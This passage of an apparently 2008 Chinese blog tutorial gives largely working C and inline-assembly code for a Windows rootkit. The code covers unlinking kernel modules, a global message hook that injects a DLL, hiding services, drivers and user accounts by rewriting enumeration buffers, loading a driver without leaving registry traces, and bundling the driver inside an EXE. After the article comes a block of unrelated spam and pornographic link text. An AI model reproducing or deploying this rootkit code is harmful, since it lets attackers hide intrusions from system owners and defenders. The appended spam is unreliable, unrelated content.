CurrentModuleEntry->ListEntry.Blink;
break;
}
}
//向下移動
CurrentModuleEntry=(LPMODULE_ENTRY)
CurrentModuleEntry->ListEntry.Flink;
}

return STATUS_SUCCESS;
}

從PsLoadedModuleList鏈上摘除內核模塊后,ZwQuerySystemInformation函數就無法枚舉出它了。


九、用戶態HOOK


用戶態的HOOK有很多方法,比如修改函數的前5個字節,修改輸入表等,這里采用eyas大哥的方法COPY DLL,主要是這種方法效率不錯。HOOK新進程采用消息鉤子,所以需要編寫成DLL。

HOOK的步驟首先將需要HOOK的DLL加載到當前進程的地址空間中,然后使用PSAPI中的GetModuleInformation函數獲取DLL信息,目的是得到DLL的加載地址。

BOOL InitHookDll (TCHAR *Name,LPDLLINFO lpHookDllInfo)
{
//取得摸快句炳
if ((lpHookDllInfo->hModule=LoadLibrary(Name))==NULL)
{
//錯誤處理
}

//獲取摸快信息
if (!GetModuleInformation(GetCurrentProcess(),lpHookDllInfo->hModule,
&lpHookDllInfo->ModuleInfo,sizeof(MODULEINFO)))
{
//錯誤處理
}

if ((lpHookDllInfo->NewBase=malloc
(lpHookDllInfo->ModuleInfo.SizeOfImage))==NULL)
{
//錯誤處理
}

//取得摸快地址
memcpy(lpHookDllInfo->NewBase,lpHookDllInfo->ModuleInfo.lpBaseOfDll,
lpHookDllInfo->ModuleInfo.SizeOfImage);
return TRUE;
}

DLLINFO是一個自定義結構,保存著模塊的句柄、地址等。DLL加載后,模塊信息也有了,下面使用GetProcAddress函數取HOOK函數地址,VirtualQuery函數獲取虛擬內存信息,VirtualProtect函數改變頁面屬性,最后修改原函數的地址(GetProcAddress函數的返回值)使其指向我們的代碼。

BOOL HookUserApi (LPDLLINFO lpHookDllInfo,TCHAR *Name,DWORD OldFunc,DWORD *NewFunc)
{
//取得需要HOOK函數的地址
if ((OrigFunc=(DWORD) GetProcAddress (lpHookDllInfo->hModule,Name))==NULL)
{
//錯誤處理
}

//獲取虛擬內存信息
if (!VirtualQuery((LPVOID)OrigFunc,&mbi,
sizeof(MEMORY_BASIC_INFORMATION)))
{
//錯誤處理
}

//改變頁面屬性為讀,寫,執行
if (!VirtualProtect(mbi.BaseAddress,mbi.RegionSize,
PAGE_EXECUTE_READWRITE,&Protect))
{
//錯誤處理
}

//HOOK
JmpCode.mov_eax=(BYTE)0xB8;
JmpCode.address=(LPVOID)OldFunc;
JmpCode.jmp_eax=(WORD)0xE0FF;

//計算原函數地址
*NewFunc=OrigFunc - (DWORD)lpHookDllInfo->ModuleInfo.lpBaseOfDll
+ (DWORD)lpHookDllInfo->NewBase;
//修改原函數地址,指向OldFunc
memcpy((LPVOID)OrigFunc,(UCHAR *)&JmpCode,sizeof(ASMJUMP));
return TRUE;
}

JmpCode是HOOK結構,保存著我們的函數的地址和JMP的跳轉地址。有了上面這2個函數,就可以HOOK任何DLL中的函數了,例如枚舉用戶使用的是NetUserEnum函數,封裝在Netapi32.dll中,HOOK例子如下:

DWORD WINAPI HookMain (LPVOID lpNot)
{
if (!(InitHookDll("netapi32.dll",&Netapi32)))
{
//錯誤處理
}

if (!(HookUserApi(&Netapi32,"NetUserEnum",(DWORD)HookNetUserEnum,
&NewNetUserEnum)))
{
//錯誤處理
}

......
}

HookMain函數需要在DllMain中調用,因為消息鉤子加載DLL后,就應該立刻進行API HOOK。Netapi32是DLLINFO結構,保存著Netapi32.dll的信息;HookNetUserEnum是我們的函數,NewNetUserEnum是原函數地址。現在只差消息鉤子函數了,安裝/卸載消息鉤子的函數需要引出,消息鉤子的類型是WH_GETMESSAGE,鉤子回調函數什么都不做,只是向下傳遞,因為我們的目的是使新進程加載DLL。

LRESULT WINAPI Hook (int nCode,WPARAM wParam,LPARAM lParam)
{
//向下傳遞
return CallNextHookEx(hHook,nCode,wParam,lParam);
}

extern "C" __declspec(dllexport) BOOL InstallHook()
{
//安裝鉤子
if ((hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,
hInst,0))==NULL)
{
//錯誤處理
}
return TRUE;
}

extern "C" __declspec(dllexport) BOOL UninstallHook()
{
//卸載鉤子
return UnhookWindowsHookEx(hHook);
}

hInst是在DllMain函數中保存的句柄,這是必須的,否則鉤子不會安裝成功。用戶態的HOOK有很多種方法,用哪個隨便你了,只要能HOOK API就行!下面介紹隱藏服務/驅動。


十、隱藏服務/驅動


枚舉服務使用的是Advapi32.dll中的5個函數,這5個函數在每個Windows系統中的聯系都不一樣,所以需要HOOK所有函數。

EnumServicesStatusA()
EnumServicesStatusW()
EnumServicesStatusExA()
EnumServicesStatusExW()
EnumServiceGroupW()

這5個函數中,前4個是公開的,在MSDN中均有敘述,只有最后一個是MS沒有公開的,而且只有Unicode版的函數。它的參數和其他4個函數基本一樣,返回的結構是LPENUM_SERVICE_STATUS,這個結構也是EnumServicesStatus函數所返回的。5個函數中都有一個dwServiceType參數,表示服務類型,SERVICE_WIN32表示標準Win32服務,SERVICE_DRIVER表示設備驅動。lpServicesReturned為返回服務總數,隱藏的方法還是memcpy移動緩沖區。我們以EnumServiceGroupW函數為例,來看一下代碼。

BOOL WINAPI HookEnumServiceGroupW (SC_HANDLE hSCManager,……)
{
......
__asm
{
//參數入棧,注意順序,要遵循__stdcall調用約定
push dwUnknown
push lpResumeHandle
push lpServicesReturned
push pcbBytesNeeded
push cbBufSize
push lpServices
push dwServiceState
push dwServiceType
push hSCManager
mov eax,NewEnumServiceGroupW //原函數地址放入EAX
call eax //請求
mov sRet,eax //返回值
}

if (sRet)
{
//處理服務和驅動
if (dwServiceType==SERVICE_WIN32 || dwServiceType==SERVICE_DRIVER)
{
//指向服務列表緩沖區
lpEnumServiceGroupW=(LPENUM_SERVICE_STATUSW)lpServices;
for (DWORD n=0; n<*lpServicesReturned; n++)
{
......
if (strnicmp(HIDDEN_SYSTEM_SERVICE,ServiceNameAnsi,
strlen(ServiceNameAnsi))==0)
{
//向前移動服務列表緩沖區
memcpy((lpEnumServiceGroupW+n),(lpEnumServiceGroupW+n+1),
((*lpServicesReturned)-n-1) * sizeof (ENUM_SERVICE_STATUSW));
(*lpServicesReturned)--; //總數要-1
n--;
}
}
}
}

return sRet;
}

上邊的代碼應該很容易理解了,我們隱藏服務/驅動,只需要判斷服務名,所以dwServiceType就一塊處理了,不必分開。另外請求原函數要遵循__stdcall調用約定,參數從右向左順序入棧,最后將原函數地址放入EAX中CALL即可。


十一、隱藏用戶


枚舉用戶有3種方法,其一是使用Netapi32.dll中的函數,另一個就是枚舉注冊表的SAM鍵了。隱藏注冊表前邊已經說過了,這里說一下Netapi32.dll導出的3個函數:

NetUserEnum()
NetGroupGetUsers()
NetQueryDisplayInformation()

第一個函數是枚舉用戶;第二個函數是獲取組內的用戶,但根據MSDN的描述,這個函數只適用于域控制器;第三個函數可以枚舉用戶、組和計算機。NetUserEnum函數支持8種枚舉類型,每種類型返回的結構有些不同(其實只是結構成員的名字不同),需要分別處理,另外2個函數也有多種類型,但只有一種是枚舉用戶的,HOOK這個類型就可以了。3個函數的隱藏方法都是memcpy移動緩沖區,這里以NetUserEnum函數、枚舉類型為0進行介紹,其他2個函數和它是一樣的,只是結構體不同。

NET_API_STATUS WINAPI HookNetUserEnum (LPCWSTR servername,……)
{
......
__asm
{
push resume_handle
push totalentries
push entriesread
push prefmaxlen
push bufptr
push filter
push level
push servername
mov eax,NewNetUserEnum
call eax
mov nStatus,eax
}

if ((nStatus==NERR_Success) && (bufptr!=NULL))
{
if (level==0) //處理枚舉類型為0
{
//注意bufptr是2級指針
LPUSER_INFO_0 lpUserInfo=*((LPUSER_INFO_0 *)bufptr);
if ((nStatus==NERR_Success) || (nStatus==ERROR_MORE_DATA))
{
for (DWORD n=0;n<*entriesread;n++)
{
......
if (strnicmp(HIDDEN_SYSTEM_USER,UserNameAnsi,
strlen(UserNameAnsi))==0)
{
//向前移動用戶列表緩沖區
memcpy((lpUserInfo+n),(lpUserInfo+n+1),
((*entriesread)-n-1) * sizeof (USER_INFO_0));
(*entriesread)--; //總數--
n--;
}
}
}
}

......
}

return nStatus;
}

Level表示枚舉類型,MSDN中有詳細的定義。這3個函數都是Unicode版本,沒有ANSI。


十二、驅動的加載與整合


加載驅動一般都是使用Servcie API,但Servcie API創建的服務會在注冊表留下痕跡,這不是我們想要的,應該使用一種更好的方法。Native API有2個函數,可以實現驅動的動態加/卸載,不用寫注冊表,它們是ZwLoadDriver和ZwUnloadDriver函數。使用這2個函數加/卸載驅動,也需要寫一下注冊表,不過只是配合這2個函數,待驅動加/卸載完成后,就可以刪除建立的注冊表項,也就是說,我們建立的注冊表項最多停留幾秒。需要建立的注冊表項就是一些服務的鍵值,比如Type(服務類型),Start(啟動類型),ImagePath(驅動路徑)等,完整的代碼在DevelopmentSetRegistry函數中,就不帖出來了,只帖出動態加/卸載的函數代碼。注:動態加/卸載驅動時,已經完成了設置注冊表,動態加/卸載驅動后,還要刪除注冊表項,切記。

BOOL DevelopmentLaodDriver (WCHAR *DriverName,BOOL LoadBelong)
{
......
//加載ntdll.dll
if ((hModule=LoadLibrary("ntdll.dll"))==NULL)
{
//錯誤處理
}

//取得若干函數的地址
ZwLoadDriver=(ZwLoadDriverOld) GetProcAddress (hModule,"ZwLoadDriver");
ZwUnloadDriver=(ZwUnloadDriverOld) GetProcAddress (hModule,"ZwUnloadDriver");
RtlInitUnicodeString=(RtlInitUnicodeStringOld) GetProcAddress
(hModule,"RtlInitUnicodeString");
RtlNtStatusToDosError=(RtlNtStatusToDosErrorOld) GetProcAddress
(hModule,"RtlNtStatusToDosError");

swprintf(RegDriver,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%s",
DriverName);
RtlInitUnicodeString(&ModuleNameWide,RegDriver);

if (LoadBelong) //TRUE 加載
{
//加載驅動
ntStatus=ZwLoadDriver(&ModuleNameWide);
......
}

if (!LoadBelong) //FALSE卸載
{
//卸載驅動
ntStatus=ZwUnloadDriver(&ModuleNameWide);
......
}

return TRUE;
}

我們需要使用一個EXE來操作SYS,這樣帶著2個文件滿處跑肯定不方便,所以有必要將其整合。整合的方法有很多,比如放在EXE結尾、將SYS轉化為16進制代碼,或者做成資源文件。相比之下,做成資源文件比較簡單,也不會給EXE增加太多的體積,運行時一釋放就OK了。釋放資源需要一系列資源函數,最后使用fwrite將文件寫入硬盤。我寫了一個ReleaseResource函數,用于實現這個功能。

BOOL ReleaseResource (TCHAR *DriverPath)
{
......
//查找資源 SYS是資源名 SYSRES是資源類名
if ((hFind=FindResource(NULL,"SYS","SYSRES"))==NULL)
{
//錯誤處理
}

//加載資源
if ((hLoad=LoadResource(NULL,hFind))==NULL)
{
//錯誤處理
}

//取得資源大小
if ((Size=SizeofResource(NULL,hFind))==0)
{
//錯誤處理
}

//取得釋放地址
if ((LockAddr=LockResource(hLoad))==NULL)
{
//錯誤處理
}

//打開文件
if ((fp=fopen(DriverPath,"wb"))==NULL)
{
//錯誤處理
}

//寫入
fwrite(LockAddr,1,Size,fp);
......
}

有了這個函數,就可以只帶著EXE滿世界跑了。
文章寫了這么長,是時候結束了,從上面的講解中不難看出,我們只要對Windows內核有一點了解,就可以開發一個簡單的Rootkit,光盤中包含了本文完整的源代碼,如對本文有任何問題,歡迎發郵件給我dahubaobao@eviloctal.com

十三、附錄下載

FileInfo(枚舉文件目錄結構)
包含隱藏服務/驅動、用戶以及用戶態HOOK的DLL程序
包含隱藏進程、文件/目錄、端口、注冊表和內核模塊的SYS以及加載程序
posted on 2008-06-10 21:55 saga.constantine 閱讀(2142) 評論(0)  編輯 收藏 引用
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            午夜欧美理论片| 亚洲精品久久久久久久久| 欧美成人黑人xx视频免费观看| 亚洲自拍偷拍麻豆| 国产日韩精品在线播放| 欧美在线免费| 久久免费观看视频| 亚洲国产裸拍裸体视频在线观看乱了中文| 免费不卡欧美自拍视频| 免费在线观看一区二区| 一本色道久久88综合日韩精品| 日韩视频久久| 国产日韩在线看片| 欧美高清hd18日本| 欧美日韩情趣电影| 欧美在线网站| 欧美**人妖| 亚洲欧美日韩国产另类专区| 香蕉成人伊视频在线观看| 亚洲高清av在线| 99视频精品免费观看| 国产一区二区三区免费在线观看| 亚洲国产精品久久久久久女王| 欧美午夜电影在线观看| 久久一区激情| 国产精品福利在线观看| 欧美刺激午夜性久久久久久久| 国产精品久久一区二区三区| 欧美大片在线看| 国产亚洲精品高潮| 亚洲精品一区在线| 精品白丝av| 亚洲视频欧美在线| 亚洲国产影院| 欧美一区二区三区在线视频| 99精品国产在热久久下载| 香蕉乱码成人久久天堂爱免费 | 亚洲欧美国产高清| 91久久精品国产91性色tv| 亚洲一区二区三区四区五区黄| 日韩视频一区| 麻豆免费精品视频| 欧美一区二区三区男人的天堂| 玖玖在线精品| 久久精品免视看| 欧美高清在线视频| 欧美一二三视频| 欧美日韩在线播放一区二区| 欧美激情精品久久久| 国产一区激情| 午夜精品久久久久久久久久久| 亚洲深夜av| 欧美成人在线影院| 免播放器亚洲| 在线播放亚洲一区| 久久国产精品电影| 久久精品日韩一区二区三区| 国产精品爽黄69| 亚洲一区二区成人| 亚洲免费在线视频| 国产精品第13页| 一区二区三区四区五区精品视频| 日韩网站在线| 欧美日韩亚洲91| 国产精品99久久久久久www| 夜夜狂射影院欧美极品| 欧美区一区二区三区| 亚洲免费av网站| 亚洲一品av免费观看| 欧美婷婷久久| 亚洲一区二区3| 久久成人一区二区| 狠狠干成人综合网| 老司机一区二区三区| 亚洲丶国产丶欧美一区二区三区 | 国产午夜亚洲精品羞羞网站| 亚洲欧美激情精品一区二区| 久久午夜影视| 亚洲高清在线播放| 欧美高清在线一区| 日韩午夜电影av| 午夜精品一区二区三区电影天堂 | 久久国产视频网| 精品成人国产在线观看男人呻吟| 久久久综合网| 亚洲精品自在久久| 午夜一区在线| 亚洲激情电影在线| 国产精品成人免费| 久久99在线观看| 亚洲国产精品一区二区www在线 | 亚洲第一免费播放区| 欧美极品色图| 午夜国产精品影院在线观看 | 亚洲欧美日韩在线观看a三区| 国产亚洲成av人在线观看导航 | 国产精品高潮视频| 欧美在线二区| 一本久久a久久免费精品不卡| 久久激情视频久久| 亚洲理伦在线| 国产综合精品| 国产日韩精品一区| 亚洲一区二区三区在线观看视频| 久久精品男女| 亚洲在线播放| 亚洲国内高清视频| 国产日韩欧美在线视频观看| 欧美大片91| 久久精品中文| 制服诱惑一区二区| 欧美激情亚洲综合一区| 午夜精品久久久久久99热| 亚洲国产乱码最新视频| 国产一区二区精品在线观看| 欧美日韩国产一区二区三区地区| 欧美在线你懂的| 正在播放亚洲一区| 91久久精品www人人做人人爽| 久久久久久久久久久一区| 一区二区三区精品在线| 亚洲国产99| 国产一区清纯| 国产人久久人人人人爽| 欧美日韩一区二区三区在线看| 另类专区欧美制服同性| 久久riav二区三区| 亚洲欧美国产制服动漫| 一区二区三区欧美| 亚洲美女视频在线免费观看| 亚洲国产成人精品女人久久久| 久久久久青草大香线综合精品| 欧美淫片网站| 欧美一区三区二区在线观看| 亚洲午夜精品一区二区| 亚洲网站视频| 亚洲深夜福利在线| 一区二区三区偷拍| 在线一区二区三区四区五区| av成人免费| 中文精品视频一区二区在线观看| 一本一本久久a久久精品综合麻豆| 在线观看欧美日韩国产| 亚洲第一天堂无码专区| 影音先锋久久精品| 亚洲大胆人体视频| 亚洲国产精品视频| 亚洲黄色在线看| 日韩视频永久免费| 中文国产成人精品| 亚洲欧美文学| 久久久www成人免费精品| 久久精品主播| 美女黄网久久| 亚洲精品影视在线观看| 一区电影在线观看| 香蕉成人久久| 免费欧美电影| 欧美少妇一区| 国产毛片精品视频| 在线免费不卡视频| 亚洲毛片在线| 亚洲欧美日韩国产另类专区| 久久久久久久精| 美女999久久久精品视频| 亚洲欧洲一区| 亚洲男人第一av网站| 久久久国产精品一区二区三区| 巨胸喷奶水www久久久免费动漫| 欧美h视频在线| 国产精品久久久久999| 国产自产在线视频一区| 亚洲国产视频一区二区| 中文一区在线| 久久一区亚洲| 日韩一区二区福利| 欧美一区二区三区成人| 欧美黄色影院| 国产一区二区三区丝袜| 91久久中文| 久久久亚洲一区| 亚洲免费电影在线观看| 久久久精品动漫| 免费亚洲婷婷| 亚洲欧美成人综合| 亚洲欧美在线磁力| 免费亚洲一区| 国产亚洲精品bv在线观看| 99热免费精品| 久久亚洲国产精品一区二区| 日韩亚洲在线观看| 久久久久网址| 国产精品极品美女粉嫩高清在线| 在线精品国精品国产尤物884a| 亚洲一区二区三区欧美| 欧美激情区在线播放| 欧美一区二区免费观在线| 欧美日韩喷水| 亚洲人成小说网站色在线| 久久久久久久综合狠狠综合|